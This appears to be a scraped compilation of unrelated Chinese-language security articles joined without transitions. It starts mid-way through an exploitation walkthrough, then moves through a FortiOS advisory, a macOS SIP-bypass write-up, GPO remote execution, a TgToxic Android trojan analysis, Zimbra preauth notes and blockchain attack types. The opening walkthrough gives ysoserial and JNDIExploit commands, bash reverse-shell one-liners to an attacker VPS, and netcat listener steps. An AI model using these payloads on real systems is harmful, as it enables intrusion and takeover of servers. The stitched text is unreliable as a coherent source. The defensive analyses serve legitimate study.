2、选0让输入dnslog地址,通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台测试

image_htB_EhwPH9.png

dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,后面探测了一下目录结构,发现是windows,所以这里payload要改变一下

3、在公网VPS上使用ysoserial开启端口,执行反弹命令

java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1999 CommonsCollections5 "编码后bash命令"

 ugbjqz0koxh13280.png

image_wvD-c4KvV-.png

rljbahtodvh13285.jpg

 这里面的编码的内容在步骤4

坑一:CommonsCollection1-5 如果不反弹shell,换着使用

4、bash反弹命令编辑

https://x.hacking8.com/java-runtime.html //编码的链接

下面三种执行命令,酌情选择:

坑二:这里执行的bash命令,首先要看对方运行系统,如果是linxu下面三个换着试,如果是win另行百度反弹命令。

bash -i >& /dev/tcp/VPSIP/7777 0>&1

/bin/bash -i > /dev/tcp/VPSIP/7777 0<&1 2>&1

0<&196;exec 196<>/dev/tcp/VPSIP/7777; sh <&196 >&196 2>&196

这里选择第二种,ip:是接受shell的vps的ip,端口:是vps用nc开启监听反弹到的端口

/bin/bash -i > /dev/tcp/192.168.14.222/8888  0<&1 2>&1


 rfc3iisi3kk13287.png

 

 

Windows:
java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"  
d2hvYW1p为命令的base64,这里是执行命令whoami
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址

 

5、nc监听

yxbp4nctqjh13289.png

6、输入接收shell的vps的ip和java-ysoserial-JRMPListener开启的端口(这里选择1,使用JRMPClient反弹shell)

 uvdg0t0uizm13291.png


7、执行成功,反弹shell

 bhzwsbvnada13293.png

 

 ucevzoxrqr313295.png

 gxekd55faok13297.png


漏洞概述漏洞類型

越界寫入/遠程命令執行

漏洞等級

高危

漏洞編號

CVE-2024-21762

漏洞評分

9.3

利用複雜度

影響版本

FortiOS FortiProxy

利用方式

遠程

POC/EXP

已公開

Fortinet FortiOS是美國飛塔(Fortinet)公司的一套專用於FortiGate網絡安全平台上的安全操作系統。該系統為用戶提供防火牆、防病毒、IPSec/SSLVPN、Web內容過濾和反垃圾郵件等多種安全功能。在SSL VPN組件中存在越界寫入漏洞,可能導致未經身份驗證的遠程威脅者通過特製HTTP請求執行任意命令或代碼。

具體影響版本:FortiOS7.4.0-7.4.2,7.2.0-7.2.6,7.0.0-7.0.13,6.4.0-6.4.14,6.2.0-6.2.15,6.0.0-6.0.17FortiProxy7.4.0-7.4.2,7.2.0-7.2.8,7.0.0-7.0.14,2.0.0-2.0.13,1.2-1.0漏洞復現3.png

daydaypoc漏洞平台於2024年3月12日已收錄該漏洞。

以下鏈接可查看詳情:

https://www.ddpoc.com/DVB-2024-6401.html

解決方案官方已修復該漏洞,受影響用戶可升級到以下安全版本:

FortiOS7.4版升級至=7.4.3

FortiOS7.2版本升級至=7.2.7

FortiOS7.0版本升級至=7.0.14

FortiOS6.4版本升級至=6.4.15

FortiOS6.2版本升級至=6.2.16

FortiOS6.0版本升級至=6.0.18

FortiProxy7.4版本升級至=7.4.3

FortiProxy7.2版本升級至7.2.9

FortiProxy7.0版本升級至=7.0.15

FortiProxy2.0版本升級至=2.0.14參考鏈接https://fortiguard.com/psirt/FG-IR-24-015

我們會在本文詳細介紹如何使用不同的方法利用CVE-2022-22583的技術細節。我們還在本報告中討論了CVE-2022-32800的技術細節。

2022年1月26日,蘋果公司修復了PackageKit框架中的系統完整性保護(SIP)繞過漏洞,該漏洞被識別為CVE-2022-22583。

Perception Point發布了一篇關於該漏洞及其利用細節的文章後,我們確定我們利用該漏洞的方法與他們的不同。在深入挖掘CVE-2022-22583之後,我們還發現了一個新的漏洞CVE-2022-32800。

這篇文章討論了我們如何使用不同的方法利用CVE-2022-22583的技術細節。關於SIP和特殊守護進程服務的權利的更多詳細信息可以在我們上個月的文章中找到。我們還會討論在2022年社區力量安全會議(POC2022)期間向蘋果披露的15個以上關鍵SIP繞過漏洞中的幾個。

CVE-2022-22583CVE-2022-22583的安全漏洞我們通過進程監控發現了這個漏洞。當我們將apple簽名的軟件安裝包(PKG)文件安裝到root volume時,我們注意到以下腳本是由特權“system_install”服務生成的:

1.png

因為“system_installd”服務具有特殊的“com.apple.rootless.install.heritable”權限,所以這兩個腳本將在SIP繞過上下文中執行。

在看到這兩個腳本位於“/tmp/PKInstallSandbox.l57ygT”目錄後,我想到了以下問題:

我們可以修改臨時位置內的腳本嗎?

誰創建了帶有隨機後綴的臨時文件夾“PKInstallSandbox”?

新創建的文件夾是否受SIP保護?

在這些問題的啟發下,我們開始了調查。

通過反轉和調試,我們發現臨時文件夾是由' -[PKInstallSandbox prepareForCommitReturningError:] '函數創建的:

2.png

“prepareForCommitXXX”函數的實現

在第16行,它調用另一個函數“-[PKInstallSandbox _createDirectory:uniquifying:error:]”,該函數在內部調用API“mkdtemp”來不受任何限制地創建文件夾。

3.png

“_createDirectory:uniquifying:”函數的實現

在看到“PKInstallSandbox.XXXXXXX”文件夾未受保護後,我們最初認為它可以被利用和操縱。然而,我們未能直接修改文件夾中的腳本。這是因為子文件夾“Scripts”受到限制,它從受限制的沙盒路徑中移動,如上第25行所示。

至少有兩種不同的方法來克服這個特殊的挑戰並利用這個安全漏洞。

漏洞1:使用掛載技巧第一個漏洞使用掛載技巧。 Perception Point在其文章中對此進行了詳細討論。根據調查,掛載技巧可以通過以下步驟完成:

創建虛擬映像文件並將其裝載到“/private/tmp”上;

使用安裝後腳本安裝Apple簽名的軟件包;

等待安裝程序完成腳本目錄的提取,並收集提取路徑的隨機部分;

卸載映像文件,這將恢復到提取前的“/private/tmp”內容;

創建腳本目錄(使用我們之前獲得的隨機路徑),並將我們想要的任何腳本放入其中。

Perception Point的文章還指出,這裡討論的漏洞取決於時間,可能不會一直成功。

漏洞2:使用符號鏈接我們的漏洞使用了另一種方法:符號鏈接。此漏洞可通過以下步驟實現:

監視“/tmp/PKInstallSandbox.XXXXXXX”目錄的創建,並將其替換為指向另一個“/tmp/fakebox”位置的符號鏈接,以將受限制的腳本重定向到那裡;

一旦腳本位於“/tmp/fakebox”中,請刪除符號鏈接並重新創建相同的“/tmp/PKInstallSandbox.XXXXXXX”目錄,然後將有效負載腳本放在“/tmp/pKInstallSandox.XXXXXXX/scripts/pkgid.XXXXXX/”目錄中;

等待有效負載腳本執行;

此漏洞的完整概念證明已上傳到了GitHub上。我們的概念驗證演示也可以在下圖中看到。

4.png

使用symlink的漏洞演示

即使我們是root用戶,也無法在受限目錄“/Library/Apple”中創建文件,因為SIP狀態已啟用。但是在利用程序的幫助下,我們可以在SIP繞過上下文中執行任意命令,並在受限目錄中成功創建文件。

蘋果CVE-2022-22583的補丁“installd”服務和“system_installd”服務的操作方式有點混亂。在下圖中,我們可以看到第17行和第18行的補丁代碼區分了這兩種服務:

5.png

CVE-2022-22583的補丁

對於蘋果簽署的軟件包,該補丁使用“OpenPath”及其自己的受限沙盒路徑。對於其他包,它仍然使用“/tmp”目錄中的隨機路徑。

安裝沙盒在介紹CVE-2022-32800之前,我們需要了解一些與“安裝沙盒”相關的概念。

Sandbox Repository首先,讓我們看一下“Sandbox Repository”,這是一個由“-[PKInstallSandboxManager _sandboxRepositoryForDestination:forSystemSoftware:create:error:]”函數返回和創建的目錄。

6.png

“_sandboxRepositoryForDestination:XXX”函數的實現

總之,有四種Sandbox Repository:

安裝目標為root volume“/”:

a.對於Apple簽名的pkg: /Library/Apple/System/Library/InstallerSandboxes/.PKInstallSandboxManager-SystemSoftware;

b.其他pkg: /Library/InstallerSandboxes/.PKInstallSandboxManager;

安裝目標不是root volume:

a.對於apple簽名的pkg: $targetVolume/.PKInstallSandboxManager-SystemSoftware;

b.其他pkg: $targetVolume/.PKInstallSandboxManager;

需要注意的是,只有當apple簽名包安裝到root volume時,Sandbox Repository才會受到限制。

沙盒路徑“沙盒路徑”用於在安裝期間存儲腳本和有效載荷等文件。

它是“Sandbox Repository”中的一個目錄,由“[PKInstallSandboxManager addSandboxPathForDestination:forSystemSoftware:]_block_invoke”方法創建:

7.png

實現“addSandboxPathForDestination:XXX”函數

沙盒路徑有四種,每種路徑都有一個通用唯一標識符(UUID)名稱,表示它們特定的沙盒狀態:

UUID.sandbox:創建的第一個狀態;

UUID.activeSandbox:激活狀態,正在使用中;

UUID.trashedSandbox:停用狀態,被丟棄;

UUID.orphanedSandbox:孤立狀態,如果磁盤空間不足,將進行清理;

PKInstallSandbox' PKInstallSandbox '是一個用於抽象和封裝的Objective-C類名:

8.png

通過“-[PKInstallSandbox initWithSandboxPath:installRequest:error:]”方法初始化“PKInstallSandbox”的新實例,這取決於沙盒路徑和安裝請求。

請注意,該實例是可序列化的,並且該類實現了“NSSecureCoding”協議。 “system_installd”服務可以通過“-[PKInstallSandboxManager saveSandboxAsStaged:]”方法將實例保存或序列化到沙盒路徑中名為“SandboxState”的文件中:

9.png

“saveSandboxAsStaged”函數的實現

“PKInstallSandbox”實例也可以稍後通過“-[PKInstallSandboxManager_sandboxAtPath:matchingRequest:forUse:]”方法從“SandboxState”文件還原或反序列化:

10.png

“sandboxAtPath:matchingRequest:XXX”函數的實現

注意,在第57行有一個檢查,它要求恢復的安裝請求與從安裝客戶端傳遞的安裝請求深度相等。這項檢查給我們的開發程序帶來了一個小小的挑戰。

在安裝之前,“system_installd”服務需要根據“-[PKInstallSandboxManagersandboxForRequest:created:error:]”函數中的安裝請求獲取“PKInstallSandbox”的實例。

該函數的核心邏輯如下:

首先,它將從“sandbox Repository”中枚舉所有帶有“.ssandbox”後綴的文件夾,然後從內部的“SandboxState”文件中恢復“PKInstallSandbox”實例。

11.png

枚舉帶有“.ssandbox”後綴的所有文件夾

接下來,如果它找不到與安裝請求匹配的“PKInstallSandbox”實例,那麼它將枚舉帶有“.activeSandbox”後綴的所有文件夾,並嘗試從這些位置還原它們。

12.png

枚舉帶有“.activeSandbox”後綴的所有文件夾

最後,如果它仍然不能匹配這樣的沙盒,它將創建一個新的“沙盒路徑”,並構造一個新的“PKInstallSandbox”實例。

13.png

創建一個新的“沙盒路徑”和實例

CVE-2022-32800漏洞詳細信息CVE-2022-32800漏洞允許攻擊者劫持“SandboxState”文件以獲取SIP繞過原語。

“SandboxState”文件存儲在“Sandbox路徑”中,該路徑位於“Sandbox Repository”中。在正常情況下,“Sandbox存儲庫”僅限於Apple簽名的軟件包。

但是,如果安裝目標是DMG(磁盤映像)卷,則根本不限制“Sandbox Repository”。 “SandboxState”文件也是如此。因此,我們可以製作一個特製的“SandboxState”文件,在反序列化過程中劫持新的“PKInstallSandbox”實例。然後可以控制“PKInstallSandbox”實例的所有成員變量。

漏洞利用有不同的方法可以利用這個漏洞。例如,在下圖中,我們劫持了成員“_cleanupPaths”,以獲取一個原語來刪除任意的SIP保護路徑。

安裝完成後,無論是否成功,它都將調用“-[PKInstallSandboxManager_removeSandbox:]”函數刪除沙盒,並刪除“_cleanupPaths”成員指定的所有文件和文件夾。

14.png

“_removeSandbox”函數的實現

該漏洞的完整概念證明可以在GitHub找到,演示視頻可以在此查看。

蘋果CVE-2022-32800的補丁

蘋果在macOS 12.5中修復了這一安全漏洞。

補丁位於“-[PKInstallSandboxManager _sandboxAtPath:matchingRequest:forUse:]”函數中:

15.png

CVE-2022-32800補丁

正如我們在第38行檢查中看到的,它在內部調用“PKSIPFullyProtectedPath”函數:

16.png

“PKSIPFullyProtectedPath”函數的實現

對於Apple簽名的軟件包,“SandboxState”文件需要受信任或限制。

安全建議為了成功地保護系統免受漏洞攻擊,用戶必須定期更新其操作系統。定期應用安全補丁將阻止攻擊者利用漏洞提升權限並發起惡意攻擊。關於此處討論的漏洞,CVE-2022-22583於2022年1月修補,CVE-2022 2-32800於2022年7月修補。

最終用戶可以受益於安全解決方案,如趨勢科技Mac版防病毒軟件和趨勢科技防護套件,它們有助於檢測和阻止利用此類漏洞的攻擊。

0x00 前言在之前的文章《域渗透——利用GPO中的计划任务实现远程执行》 介紹了通過域組策略(Group Policy Object)遠程執行計劃任務的方法,本文將要介紹類似的另外一種方法:通過域組策略(Group Policy Object)的腳本實現遠程執行。

0x01 簡介本文將要介紹以下內容:

通過Group Policy Management Console (GPMC) 實現腳本的遠程執行

通過命令行實現腳本的遠程執行

新建GPO實現遠程執行

修改已有的GPO,實現遠程執行

實現細節

0x02 通過Group Policy Management Console (GPMC) 實現腳本的遠程執行1、創建GPO 1.png 2.png 3.png 4.png 5.png2.配置GPO 6.png 7.png 8.png

0x03 通過命令行實現腳本的遠程執行1.作用於全域9.png 19.png2.作用於指定目標20.png 21.png 22.png

0x04 修改已有的GPO,實現遠程執行23.png 24.png 25.png

0x05 直接執行遠程腳本當我們選擇直接執行組策略文件夾中的bat文件,會彈框提示無法執行,如下圖

26.png

27.png 28.png

0x06 小結本文介紹了通過域組策略(Group Policy Object)中的腳本實現遠程執行的方法,分享實現細節和利用思路。

最近趨勢科技的研究人員發現了自2022年7月以來針對中國台灣、泰國和印度尼西亞的Android手機用戶的持續惡意軟件活動,並將其命名為TgToxic。該惡意軟件竊取用戶的憑證和資產,如數字錢包中的加密貨幣,以及銀行和金融應用程序中的資金。

通過分析惡意軟件的自動化功能,研究人員發現了攻擊者濫用了合法的測試框架Easyclick,為點擊和手勢等功能編寫了基於javascript的自動化腳本。研究人員發現攻擊者的目標是通過嵌入多個虛假應用程序的銀行木馬,趨勢科技根據其特殊的加密文件名將其檢測為AndroidOS_TgToxic,該木馬從金融和銀行應用程序(如加密貨幣錢包、手機上官方銀行應用程序的憑據和存款)中竊取受害者的資產。雖然之前針對的是中國台灣的用戶,但在撰寫本文時,研究人員已經觀察到針對泰國和印度尼西亞用戶的欺詐活動和網絡釣魚。建議用戶小心打開來自未知電子郵件和消息發送者的嵌入鏈接,並避免從第三方平台下載應用程序。

發現過程自2022年下半年以來,研究人員一直在監測這個活動,發現它的基礎設施和目標在不斷變化。以下是該活動時間表:

2022年7月:Facebook上出現了欺詐性帖子,通過社交工程在社交媒體平台上嵌入了針對中國台灣省用戶的釣魚鏈接;

2022年8月下旬至10月:色情欺詐還針對中國台灣和印度尼西亞用戶,誘使他們註冊,以便攻擊者竊取他們的證件;

2022年11月至2023年1月:短信釣魚(SMiShing)針對泰國用戶,在此期間使用的一些網絡釣魚網站還顯示,攻擊者通過加密貨幣騙局將其活動進一步擴展到印度尼西亞。

早期活動:通過Facebook進行欺詐2022年7月,研究人員發現兩個可能被黑客入侵的Facebook賬戶在一些台灣社區團體上發布了詐騙信息,聲稱用戶可以獲得颶風、洪水和新冠疫情的救助補貼。這些帖子告訴用戶可以在download.tw1988[.]link中註冊申請,而這實際上是一個釣魚網站。不知情的用戶可能會成為受害者,因為該鏈接偽裝成政府官方網站https://1988.taiwan.gov.tw/,該官方網站用於向困難人群提供補貼。

1.png

Facebook上發布的詐騙帖子示例,文字翻譯為“夏季將發放28000項福利,現在輸入https[:]//st7[.]fun/20就可以收到你的勞工補貼”。該應用程序還顯示了潛在受害者就業類別的選項:“農民和漁民的生活津貼”、“無固定雇主的自營職業工人和勞動生活津貼”,以及“旅遊巴士、出租車司機、導遊、領隊和其他補貼”。

色情詐騙和加密貨幣通過追踪TgToxic使用的網絡基礎設施,研究人員隨後發現了中國台灣和印度尼西亞色情和加密貨幣詐騙的幕後黑手。這些惡意應用程序也可以通過down[.]tw1988[.]link從同一網站下載,並偽裝成約會、消息、生活方式或加密貨幣相關應用程序,誘騙用戶安裝並啟用其權限。

2.png

虛假應用程序在下載後立即啟動註冊頁面以誘導用戶,惡意軟件TgToxic開始在後台運行

3.png

在印度尼西亞,虛假應用程序誘導潛在受害者進入色情勒索和加密貨幣詐騙釣魚網站

針對泰國的網絡釣魚活動當研究人員繼續監控TgToxic惡意軟件及其網絡基礎設施時,他們發現,在2022年底至2023年1月初的幾週內,該活動背後的攻擊者開始以泰國用戶為目標,並觀察到類似的色情和網絡釣魚誘餌針對中國台灣用戶,該組織開始添加惡意代碼,以竊取銀行應用程序中的憑據。研究人員還發現,這兩個攻擊已經引起了當地媒體的關注,並在Facebook上受到了大眾社區的報導。

4.png

泰國當地流行的社交媒體賬戶討論了使用流行聊天和約會應用程序的假冒版本的網絡釣魚計劃(左),以及與一名受害者的對話,該受害者也證實了惡意軟件是通過smishing發送的(右)

網絡釣魚、色情和加密貨幣騙局與TgToxic惡意軟件的最新部署樣本都有關係,因為它們都是從同一個網站下載的,下載鏈接為down[.]tw1988[.]link。通過觀察命令和控制(CC)服務器之間的通信,這些應用程序和惡意軟件的CC從api[.]tw1988[.]link更改為test[.]ja7[.]site,後來更改為us[.]ja7[.]site。

TgToxic的技術分析研究人員分析了惡意軟件TgToxic是基於一個名為Eacyclick的合法自動化測試框架開發的,該框架支持通過JavaScript編寫自動化腳本。該腳本可用於自動劫持Android設備的用戶界面(UI),以自動執行諸如監視用戶輸入、執行點擊和手勢等功能。

使用上述框架,TgToxic可以開發自己的自動化腳本,通過竊取受害者放置用戶名和密碼的用戶憑據來劫持加密貨幣錢包和銀行應用程序。一旦獲得了憑證,攻擊者就可以在不需要用戶批准或確認的情況下,使用官方應用程序進行小額交易。與其他銀行惡意軟件一樣,TgToxic還可以通過短信和安裝的應用程序竊取用戶的個人信息,這些信息可以用來通過進一步掃描設備是否存儲了攻擊者感興趣的應用程序來選擇目標受害者。

目前,TgToxic仍在快速發展,並繼續添加新功能,複製更多應用程序以竊取憑據並適應不同的應用程序UI,並從受害者那裡收集更多信息。在這次分析中,研究人員選取了針對泰國移動用戶的最新樣本進行分析。

代碼混淆和有效負載加密TgToxic惡意軟件使用兩種方法來逃避檢測和分析,研究人員將其分為兩部分:

代碼混淆:TgToxic混淆了類名、方法名和字段名,這使得一些分析師更難進行逆向工程。

有效負載加密:TgToxic將Easylick腳本放在一個名為“tg.iapk”的資產文件中,該文件是一個加密的Zip文件,並將在應用程序啟動時動態讀取其中的內容。該惡意軟件實現了一種無文件的方式來解密和加載負載,並在解壓縮後添加了一個額外的邏輯。

5.png

APK結構和有效負載

解密有效負載並濫用輔助功能服務劫持設備UI 6.png

tg.iapk加密過程

正如McAiden的研究人員所指出的,tg.iapk是一個加密的.zip文件。通過靜態分析,研究人員發現解壓密碼經過特殊編碼並存儲在.zip註釋部分,該部分通常用於記錄.zip描述。此部分的內容不會影響壓縮後的內容。要獲得.zip文件的密碼,註釋部分的內容將按照代碼中指定的方式進行解碼。

7.png

Zip密碼解碼功能

解壓縮後,研究人員發現所有文件都是二進製文件,所有文件的前四個字節都是“0x00092383”,這是專門加密的文件。通過反向分析,研究人員找到了解密函數。為了隱藏解密細節,使用反射調用密鑰類和密鑰方法,並加密相關的符號名稱。

8.png

特殊加密文件

9.png

加密文件解密功能

通過分析解密函數,研究人員得到了加密文件的格式。加密文件對密碼進行了編碼,並將其保存在文件的開頭(緊跟魔術數字),同時將加密數據保存在文件末尾。密碼的解碼方式與zip密碼的解碼方法相同。

10.png

特殊加密文件格式

運行時引擎中運行的預編譯腳本自動化腳本被預編譯為Java,並使用Rhino的運行時,Rhino是一個在Java中運行JavaScript的開源引擎。調用函數中的每個開關分支都是一個JavaScript函數,研究人員將解釋代碼如何使用來自惡意軟件的簡單函數運行。

11.png

從一個Javascript函數編譯的Java字節碼

此函數用於收集設備信息並發送到CC服務器。它首先遍歷一個預定義的變量“walletListAry”,其中包含攻擊者感興趣的加密貨幣錢包的包名列表。然後,惡意軟件調用“isAppExist”來檢查應用程序是否在系統中。如果確認,包名稱將被推送到數組中。

然後,惡意軟件以同樣的方式檢查電子郵件應用程序,並創建一個.json對象,其中包含它收集的信息。 “apps”字段包含已安裝的加密貨幣錢包的包名稱,“mails”字段包含安裝的電子郵件應用的包名稱。最後,它調用“JSON.stringify”將.JSON對象序列化為字符串,並調用“emitEnc”通過WebSocket將信息發送到CC服務器。

CC通信和數據洩露惡意軟件使用WebSocket作為腳本執行的CC通道。它將調用“StartWs”連接到WebSocket服務器,然後設置“new_msg”事件偵聽器以接收和解析CC命令。完整的CC命令列表如下所示:

12.1.png

1675926145785857.png

另一個值得注意的細節是,TgToxic將根據受感染設備的地區連接到不同的CC服務器。雖然研究人員仍在繼續跟踪,但除了目前確定的三個國家之外,還沒有在其他地區或國家發現TgToxic活動,但他們認為,這次攻擊背後的攻擊者正試圖根據這些不同服務器的可用性將其活動擴展到其他國家。

13.png

根據設備區域獲取CC主機前綴

數據通過CC通道洩露。以短信竊取為例,惡意軟件首先調用“getSmsInPhone”從郵件收件箱中提取所有短信,然後通過WebSocket CC通道將竊取的數據上傳到服務器。

14.png

提取所有文本消息

自動授予權限和防止卸載TgToxic可以劫持系統應用程序自動授予自己權限,並在受害者試圖卸載惡意軟件時阻止卸載。以下是惡意軟件試圖劫持的系統應用程序及其相應用途的列表:

15.png

惡意軟件試圖控制的系統應用程序列表

控制自動轉賬的金融應用程序TgToxic實施自動轉賬服務(ATS),用戶不知情的情況下向攻擊者轉賬。該惡意軟件首先秘密竊取密碼並解鎖手勢,當它檢測到用戶擁有錢包應用程序時,惡意軟件將檢查特定的活動,並通過密鑰日誌記錄用戶是否輸入密碼。如果用戶用手勢解鎖設備,它還可以截屏。

一旦收到來自CC服務器的“walletSend”命令,惡意軟件就會覆蓋全黑屏幕,以防止受害者意識到惡意活動和傳輸。然後,它打開錢包應用程序並收集鏈類型和余額等詳細信息。然後,TgToxic將通過無障礙服務模擬用戶點擊所有鏈類型的特定收件人:

1.檢查鏈類型是否為“usdt”,並輸入錢包詳細信息;

2.點擊轉移按鈕;

3.輸入接收者地址;

4.輸入轉賬資金;

5.進入轉賬詳情頁面;

6.輸入密碼;

7.點擊“確認”按鈕;

17.png

檢查鏈類型並輸入錢包詳細信息

18.png

輸入被盜的地址信息和收件人的地址

19.png

輸入錢包密碼並確認交易

目標應用程序以下是惡意軟件從中竊取受害者信息的應用程序列表,列表來自針對泰國的最新樣本:

Android設備被攻擊後,惡意軟件從中獲取信息的應用程序列表:

20.1.png

20.2.png

總結儘管部署時間不同,但研究人員發現針對中國台灣、印度尼西亞和泰國的社交媒體網絡釣魚活動和網絡基礎設施類似。當受害者從攻擊者提供的網站下載虛假應用程序時,或受害者試圖通過WhatsApp或Viber等消息應用程序直接向攻擊者發送消息時,攻擊者會欺騙用戶註冊、安裝惡意軟件並啟用其所需的權限。一旦獲得授權,手機就會被攻擊者自動控制,設備中的合法應用程序及其資產將面臨風險。

從分析來看,惡意軟件本身雖不復雜,但很有趣。濫用Easylick和Autojs等合法的自動化框架可以更容易地開發複雜的惡意軟件,特別是對於可以濫用Accessibility服務的Android銀行木馬。框架的複雜性也使逆向工程分析變得困難。由於框架的便利性和反逆向工程設置,未來很有可能有更多的攻擊者可以利用並使用這種方法。

通過對攻擊者的調查,研究人員認為負責這個活動的組織或個人之前並未出現過,但對該地區的目標比較了解,比如繁體和簡體中文用法。研究人員觀察到的一個有趣的細節是,2022年8月,台灣有很多濫用津貼援助主題的騙局。

雖然研究人員也對受害者的部署和企圖有深入了解,但關於當地受害者的實際人數的信息很少。

緩解措施避免安裝來自未知來源和平台的應用程序。不要點擊直接嵌入短信或電子郵件中的應用程序、安裝程序、網站,尤其是來自未知發件人的應用程序;

不要啟用敏感的權限,例如從未知應用程序啟用或下載的輔助功能服務;

還有就是要關註一下攻擊跡象,比如雖然設備未使用,但電池電量消耗很大,這就是危險信號。

0x00 前言本文將要繼續擴充開源代碼Zimbra_SOAP_API_Manage的實用功能,添加預認證的登錄方式,分享開發細節。

0x01 簡介本文將要介紹以下內容:

預認證

計算preauth

SOAP實現

開源代碼

0x02 預認證參考資料:https://wiki.zimbra.com/wiki/Preauth

簡單理解:通過preAuthKey結合用戶名、時間戳和到期時間,計算得出的HMAC作為身份驗證的令牌,可用於用戶郵箱和SOAP登錄

默認配置下,Zimbra未啟用預認證的功能,需要手動開啟

(1)開啟預認證並生成PreAuthKey命令如下:

1.png其中,

2.png對應測試環境的命令為:/opt/zimbra/bin/zmprov generateDomainPreAuthKey mail.test.com

測試環境的輸出如下:

3.png(2)讀取已有的PreAuthKey命令如下:

4.png對應測試環境的命令為:/opt/zimbra/bin/zmprov gd mail.test.com zimbraPreAuthKey

測試環境的輸出如下:

5.png注:

如果Zimbra存在多個域名,那麼會有多個PreAuthKey

0x03 計算preauth參考資料中給出了多種計算preauth的示例,但是Python的實現代碼不完整,這裡補全Python3下的完整實現代碼,詳細代碼如下:

6.png代碼會自動生成可用的URL,瀏覽器訪問可以登錄指定郵箱

0x04 SOAP實現SOAP格式:

7.pngSOAP格式示例:

8.png需要timestamp和preauth作為參數,使用預認證登錄的詳細代碼如下:

9.png 10.png 11.png

以上代碼通過預認證登錄,返回可用的token,通過該token可以進行後續的SOAP操作,列出文件夾郵件數量的實現代碼:

12.png 13.png0x05 開源代碼新的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py

添加了使用預認證登錄的功能

0x06 小結本文擴充了Zimbra SOAP API的調用方法,添加了使用預認證登錄的功能。

區塊鏈攻擊向量:最安全技術的漏洞(上)

3. 智能合約攻擊Apriorit 擁有從事智能合約開發和區塊鏈測試的團隊。我們已經積累了豐富的基於以太坊、EOS、NEO平台的智能合約漏洞分析和規避經驗。與智能合約相關的主要區塊鏈安全問題涉及源代碼、網絡虛擬機、智能合約運行時環境以及區塊鏈本身中的錯誤。讓我們看看這些攻擊向量中的每一個。

合約源代碼漏洞如果智能合約的源代碼存在漏洞,就會對簽署合約的各方構成風險。例如,2016 年以太坊合約中發現的錯誤使其所有者損失了8000 萬美元。 Solidity 中的一個常見漏洞提供了一種可能性,可以將控制權委託給其他智能合約中不受信任的功能,稱為重入攻擊。在此攻擊期間,合約A 從合約B 調用具有未定義行為的函數。反過來,合約B 可以調用合約A 的函數並將其用於惡意目的。

虛擬機中的漏洞以太坊虛擬機(EVM) 是一種基於分佈式堆棧的計算機,其中執行基於以太坊的區塊鏈的所有智能合約。 EVM 最常見的漏洞如下:

不可變缺陷——區塊鏈塊本質上是不可變的,這意味著智能合約一旦創建,就無法更改。但是,如果智能合約在其代碼中包含任何錯誤,它們也無法修復。網絡犯罪分子有可能發現並利用代碼漏洞來竊取Ether 或創建新的分叉,就像DAO 攻擊一樣。

加密貨幣在轉移過程中丟失——如果以太幣被轉移到一個沒有任何所有者或合同的孤立地址,這是可能的。

訪問控制中的錯誤——以太坊智能合約中存在一個遺漏修改器錯誤,允許黑客訪問合約中的敏感功能。

短地址攻擊——這是可能的,因為EVM 可以接受錯誤填充的參數。黑客可以通過向潛在受害者發送特製地址來利用此漏洞。例如,在2017 年對Coindash ICO 的一次成功攻擊中,對Coindash 以太坊地址的修改使受害者將他們的以太幣發送到黑客的地址。

此外,黑客可以通過應用其他典型的破壞區塊鏈技術的方法來破壞智能合約,包括DDoS、eclipse 和各種低級別攻擊。

然而,Cardano 和Zilliqa 等較年輕的區塊鏈使用不同的虛擬機:IELE、KEVM 等。這些新的區塊鏈聲稱在其協議中保證智能合約的安全性。

4.交易驗證機制攻擊與金融機構不同,區塊鏈只有在網絡中的所有節點都達成一致後才能確認交易。在包含交易的區塊被驗證之前,該交易被歸類為未驗證。然而,驗證需要一定的時間,這為網絡攻擊創造了一個完美的載體。

雙花是一種利用交易驗證機制的常見區塊鏈攻擊。區塊鏈上的所有交易都需要用戶驗證才能被確認為有效,這需要時間。攻擊者可以利用這種延遲來獲得優勢,並誘使系統在多個交易中使用相同的硬幣或代幣。

image.png

圖2. 雙花攻擊

以下是基於利用交易發起和確認之間的中間時間的最常見攻擊類型。

芬尼襲擊當一筆交易被預挖到一個區塊中,並且在該預挖區塊被釋放到網絡之前創建了一個相同的交易,從而使第二個相同的交易無效時,Finney 攻擊是可能的。

種族攻擊當攻擊者創建兩個相互衝突的交易時,就會執行競態攻擊。第一筆交易被發送給受害者,受害者無需等待交易確認即可接受付款(例如發送產品)。同時,將向攻擊者返回相同數量的加密貨幣的衝突交易被廣播到網絡,最終使第一筆交易無效。

矢量76Vector76 是之前兩次攻擊的組合。在這種情況下,惡意礦工創建兩個節點,其中一個僅連接到交換節點,另一個連接到區塊鍊網絡中連接良好的對等點。之後,礦工創建兩筆交易,一筆高價值和一筆低價值。然後,攻擊者預挖並從交換服務中扣留一個包含高價值交易的區塊。在區塊公告之後,攻擊者迅速將預挖區塊直接發送到交易所服務。它與一些礦工一起將預挖區塊視為主鏈並確認此交易。因此,這種攻擊利用了這樣一個事實,即網絡的一部分看到攻擊者已包含在塊中的交易,而網絡的另一部分看不到該交易。

交易所服務確認大額交易後,攻擊者向主網發送小額交易,主網最終拒絕大額交易。結果,攻擊者的賬戶被記入了高價值交易的金額。儘管這種類型的攻擊成功的可能性很高,但它並不常見,因為它需要一個託管的電子錢包,該電子錢包在一次確認後接受付款,並需要一個節點來處理傳入的交易。

替代歷史攻擊另一種歷史攻擊——也稱為區塊鏈重組攻擊——即使在多次確認的情況下也可能發生,但需要黑客提供大量的計算能力。在這種情況下,惡意用戶向收件人發送交易,同時使用返回相同代幣的另一筆交易挖掘替代分叉。例如,即使接收方在n 次確認後認為交易有效並發送產品,如果攻擊者釋放更長的鏈並取回硬幣,接收方也可能會損失金錢。

最新的一次區塊鏈重組攻擊發生在2020 年8 月的Ethereum Classic上,當時一名礦工使用舊軟件並在挖礦時暫時無法訪問互聯網。當兩個版本的區塊鏈競爭網絡中節點的有效性並導致插入大約3000 個區塊時,重組就發生了。

